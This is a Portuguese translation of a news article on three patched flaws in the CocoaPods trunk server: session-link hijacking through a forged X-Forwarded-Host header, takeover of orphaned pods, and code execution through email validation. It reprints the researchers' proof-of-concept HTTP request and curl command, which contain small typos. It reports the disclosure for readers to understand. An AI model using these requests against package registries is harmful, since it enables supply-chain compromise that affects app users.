
Orrich Lawson
Uma vulnerabilidade que passou despercebida durante uma década deixou milhares de aplicativos macOS e iOS suscetíveis a ataques à cadeia de suprimentos. Pesquisadores anunciaram na segunda-feira que hackers podem ter adicionado código malicioso que comprometeu a segurança de milhões ou até bilhões de pessoas que o instalaram.
A vulnerabilidade foi corrigida em outubro passado e reside no servidor “tronco” usado para gerenciar CocoaPods, um repositório de projetos Swift e Objective-C de código aberto dos quais aproximadamente 3 milhões de aplicativos macOS e iOS dependem. Quando um desenvolvedor faz uma alteração em um de seus “pods” (terminologia CocoaPods para um pacote de código individual), os aplicativos dependentes normalmente incorporam essa alteração automaticamente por meio de atualizações de aplicativos, normalmente sem necessidade de interação do usuário final.
Vulnerabilidade de injeção de código
Pesquisadores da EVA Information Security, empresa que descobriu a vulnerabilidade, disseram que “muitos aplicativos podem potencialmente acessar as informações mais confidenciais de um usuário, incluindo detalhes de cartão de crédito, registros médicos e dados pessoais”. “A injeção de código nessas aplicações pode dar aos invasores acesso a essas informações para quase todos os fins maliciosos imagináveis, incluindo ransomware, fraude, extorsão e espionagem corporativa. No processo, as empresas podem ficar expostas a maiores responsabilidades legais e riscos de reputação.”
As três vulnerabilidades EVA descobertas resultam de um mecanismo de e-mail de verificação inseguro usado para autenticar desenvolvedores para pods individuais. O desenvolvedor inseriu o endereço de e-mail associado ao pod. O servidor tronco respondeu enviando um link para esse endereço. Assim que o usuário clicar no link, ele poderá acessar sua conta.
Em alguns casos, um invasor pode manipular a URL do link para apontar para um servidor sob seu controle. O servidor aceitou um XFH falsificado, um cabeçalho HTTP usado para identificar o host de destino especificado em uma solicitação HTTP. Os pesquisadores da EVA descobriram que o XFH forjado pode ser usado para construir URLs arbitrários.
O e-mail normalmente inclui um link válido postado no servidor CocoaPods.org, como:

Segurança da informação EVA
Os pesquisadores podem alternativamente alterar a URL para apontar para seus próprios servidores.

Segurança da informação EVA
A vulnerabilidade, rastreada como CVE-2024-38367, existe na classe session_controller do código-fonte do servidor tronco que lida com URLs de validação de sessão. Esta classe usa o mecanismo session_controller.rb que prioriza o XFH sobre o cabeçalho do host original. O código de exploração do pesquisador era:
POST /api/v1/sessions HTTP/1.1
Host: trunk.cococapods.org
Content-Type: application/json; charset=utf-8
Accept: application/json; charset=utf-8
User-Agent: CocoaPods/1.12.1
Accept-Encoding: gzip, deflate
X-Forwarded-Host: research.evasec.io
Content-Length: 78
{
"email":"research@evasec.io",
"name":"EVAResearch",
"description":null
}
Outra vulnerabilidade, rastreada como CVE-2024-38368, permite que um invasor assuma o controle de pods que foram abandonados pelo desenvolvedor, mas ainda estão em uso pelo aplicativo. A interface de programação que permite aos desenvolvedores reutilizar pods permaneceu ativa quase uma década depois de ter sido implementada pela primeira vez. Os pesquisadores descobriram que qualquer pessoa que encontrasse uma interface para um pod órfão poderia iniciá-lo e controlá-lo sem exigir prova de propriedade.
Tudo que você precisa é de uma solicitação curl simples contendo o nome do pod.
# Curl request for changing ownership of a targeted orphaned pod
curl -X 'POST' \
-H 'Host: trunk.cocoapods.org' \
-H 'Content-Type: application/x-www-form-urlencoded' \
--data-binary 'owner[name]=EVA&email=research@evasec.io'
--data-binary 'pods[]=[TARGET_UNCLAIMED_POD]&button=SEND'
'https://trunk.cocoapods.org/claims'
A terceira vulnerabilidade, CVE-2024-38366, permite que um invasor execute código no servidor tronco. Os servidores tronco contam com o RFC822, formalizado em 1982, para verificar a exclusividade dos endereços de e-mail registrados dos desenvolvedores e garantir que eles sigam o formato correto. Parte do processo inclui a inspeção dos registros MX do domínio de endereço de e-mail implementados por esta implementação RFC822.

